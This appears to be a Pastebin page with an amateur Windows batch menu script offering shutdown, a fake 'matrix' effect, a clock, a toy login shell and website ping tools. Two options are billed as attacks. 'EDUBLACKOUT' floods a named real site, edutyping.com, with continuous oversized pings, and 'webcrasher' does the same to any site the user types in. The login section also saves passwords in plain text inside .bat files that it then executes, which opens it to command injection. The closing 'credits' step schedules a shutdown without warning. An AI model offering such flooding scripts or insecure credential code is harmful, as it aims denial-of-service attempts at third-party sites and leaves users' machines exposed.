Advertisement
Guest User

Coolest batch file HELPS ALOT.

a guest
Oct 11th, 2018
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.83 KB | None | 0 0
  1. @echo off
  2. Title Batch Menu BY.. Chris
  3. color a
  4. echo Enter 1 for Shutdown
  5. echo enter 2 for Logoff
  6. echo enter 3 for matrix
  7. echo enter 4 for Time Clock
  8. echo enter 5 for notepad
  9. echo enter 6 for PassCMD
  10. echo enter 7 for EDUBLACKOUT
  11. echo enter 8 for Webpinger
  12. echo enter 9 for webcrasher
  13. echo enter 10 for END CREDITS
  14. set /p ans="enter number:"
  15.  
  16. if %ans%==1 (
  17. goto a
  18. )
  19. if %ans%==2 (
  20. goto b
  21. )
  22. if %ans%==3 (
  23. goto c
  24. )
  25. if %ans%==4 (
  26. goto d
  27. )
  28. if %ans%==5 (
  29. goto e
  30. )
  31. if %ans%==6 (
  32. goto f
  33. )
  34. if %ans%==7 (
  35. goto g
  36. )
  37. if %ans%==8 (
  38. goto h
  39. )
  40. if %ans%==9 (
  41. goto i
  42. )
  43. if %ans%==10 (
  44. goto j
  45. )
  46. :a
  47. shutdown -s
  48.  
  49. :b
  50. shutdown -l
  51.  
  52. :C
  53. color a
  54. echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
  55. goto c
  56.  
  57. :d
  58. color c
  59. :clks
  60. cls
  61. echo.
  62. echo ======
  63. echo %DATE%
  64. echo %TIME%
  65. echo ======
  66. timeout -t 1 >nul
  67. goto clks
  68.  
  69. :e
  70. color a
  71. echo you will open notepad
  72. notepad.exe
  73.  
  74. :f
  75. :home
  76. title Log in to CMD
  77. color c
  78. cls
  79. echo.
  80. echo Cmd Accounts
  81. echo =============
  82. echo.
  83. echo [1] Log In
  84. echo [2] Sign Up
  85. echo [3] Exit
  86. echo.
  87. set /p op=
  88. if %op%==1 goto 1
  89. if %op%==2 goto 2
  90. if %op%==3 goto 3
  91. goto error
  92. :2
  93. cls
  94. echo Sign Up
  95. echo ======================================
  96. echo.
  97. set /p newname="Enter new username:"
  98. if "%newname%"=="%newname%" goto inputname
  99. :inputname
  100. cd "%userprofile%\documents"
  101. if exist "cmdacoBin" goto skip
  102. if not exist "cmdacoBin" goto noskip
  103. :noskip
  104. md "cmdacoBin"
  105. goto skip
  106. :skip
  107. cd "%userprofile%\documents\cmdacoBin"
  108. if exist "%newname%.bat" goto namexist
  109. if not exist "%newname%.bat" goto skip2
  110. :skip2
  111. echo set realusername=%newname%> "%newname%.bat"
  112. goto next
  113. :next
  114. echo.
  115. set /p pswd=Enter new Password:
  116. if "%pswd%"=="%pswd%" goto inputpass
  117. :inputpass
  118. cd "%userprofile%\documents\cmdacoBin"
  119. echo set password=%pswd%>> "%newname%.bat"
  120. goto next1
  121. :namexist
  122. echo.
  123. echo The entered username already exists.
  124. echo Press any key to return. . .
  125. pause >nul
  126. goto 2
  127. :next1
  128. cls
  129. echo Cmd Accounts
  130. echo ============
  131. echo.
  132. echo Your account has been successfully created!
  133. echo.
  134. pause
  135. goto f
  136. :1
  137. color 07
  138. cls
  139. echo Cmd Accounts Log In
  140. echo ================================
  141. echo.
  142. Set /p logname=Username:
  143. if "%logname%"=="%logname%" goto 2.1
  144. :2.1
  145. echo.
  146. set /p logpass="Password:"
  147. if "%logpass%"=="%logpass%" goto login
  148. :login
  149. cd "%userprofile%\documents\cmdacoBin"
  150. if exist "%logname%.bat" goto call
  151. if not exist "%logname%.bat" goto errorlog
  152. :call
  153. call "%logname%.bat"
  154. if "%password%"=="%logpass%" goto logdone
  155. goto errorlog
  156. :errorlog
  157. color 0c
  158. echo.
  159. echo Username or Password incorrect.
  160. echo Access denied.
  161. pause >nul
  162. goto f
  163. :logdone
  164. cls
  165. echo Command Prompt
  166. echo ==============
  167. echo.
  168. echo Successfully logged in!
  169. echo.
  170. pause
  171. goto account
  172. :account
  173. cls
  174. cd "%userprofile%\documents\cmdacoBin"
  175. call "%realusername%color.bat"
  176. call "%realusername%.bat"
  177. color %colorcode%
  178. cls
  179. echo.
  180. echo -------------------------------------------------------------------------------
  181. echo %realusername%
  182. echo -------------------------------------------------------------------------------
  183. @echo off
  184. break off
  185. Title Command Prompt
  186. color c
  187. cls
  188.  
  189. echo Type "home" any time to go to the current user profile directory.
  190. echo Type "desktop" any time to go to the current user desktop.
  191. echo.
  192. echo Type help to see list of common commands like cd, rd, md, del,
  193. echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.
  194. echo Type [command]/? for detailed info.
  195. echo.
  196. pause
  197. cls
  198.  
  199. :cmd
  200. echo Directory: %CD%
  201. set /P CMD=Command:
  202. if "%CMD%" == "cls" goto cls
  203. if "%CMD%" == "home" goto home2
  204. if "%CMD%" == "desktop" goto desktop
  205. if "%CMD%" == "red" goto red
  206. if "%CMD%" == "green" goto green
  207. if "%CMD%" == "normal" goto normal
  208.  
  209. %CMD%
  210. cd C:\
  211. goto cmd
  212.  
  213. :cls
  214. cls
  215. goto cmd
  216.  
  217. :home2
  218. cd /d %USERPROFILE%
  219. cls
  220. goto cmd
  221.  
  222. :desktop
  223. cd /d %SystemDrive%\Users\%USERNAME%\Desktop
  224. cls
  225. goto cmd
  226.  
  227. :red
  228. color 0c
  229. cls
  230. goto cmd
  231.  
  232. :green
  233. color 0a
  234. cls
  235. goto cmd
  236.  
  237. :normal
  238. color 07
  239. cls
  240. goto cmd
  241.  
  242. :g
  243. @echo off
  244. color c
  245. title PING EDU
  246. pause
  247. echo THIS WILL CRASH
  248. pause
  249. echo ctrl-c to stop
  250. pause
  251. color a
  252. ping edutyping.com -t -l 65500
  253.  
  254. :h
  255. @echo off
  256. Title Website Pinger
  257. color a
  258. echo Enter the website you would like to ping
  259. set input=
  260. set /p input= Enter your Website here:
  261. if %input%==goto A if NOT B
  262. echo Processing Your request
  263. ping localhost>nul
  264. color c
  265. echo -------------------------------------------------------------------------------------
  266. echo Do you have a connection
  267. echo -------------------------------------------------------------------------------------
  268. color a
  269. ping localhost>nul
  270. echo This is the IP=
  271. ping %input%
  272. set input=
  273. set /p input= If you want to open this adress please enter the IP here:
  274. start iexplore.exe %input%
  275. set input2=
  276. set /p input2=
  277. if %input% exit goto exit
  278. ping localhost -n 45 >nul
  279. start iexplore.exe **ENTER WEBSITE HERE**
  280. exit
  281. :exit
  282. exit
  283.  
  284. :i
  285. @echo off
  286. Title Website Crasher
  287. color c
  288. echo Enter the website you would like to crash
  289. set input=
  290. set /p input= Enter your Website here:
  291. if %input%==goto A if NOT B
  292. echo Processing Your request
  293. ping localhost>nul
  294. echo To end Crashing press CTRL + C
  295. ping localhost>nul
  296. cls
  297. echo ----------------------------------------------------------------------------
  298. echo Now Crashing Website... PRESS CRTL + C TO END!! Hope you like this menu :D
  299. echo ----------------------------------------------------------------------------
  300. ping %input% -t -l 65500
  301.  
  302. :j
  303. Title End Credits
  304. echo These are the end CREDITS
  305. pause
  306. color c
  307. echo Menu BY Ubernewber789 ON YT
  308. pause
  309. color a
  310. echo Password cmd IS NOT FROM ME
  311. pause
  312. color c
  313. echo Hope YOU ENJOYED THE MENU
  314. pause
  315. color a
  316. shutdown -t 60 -s
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement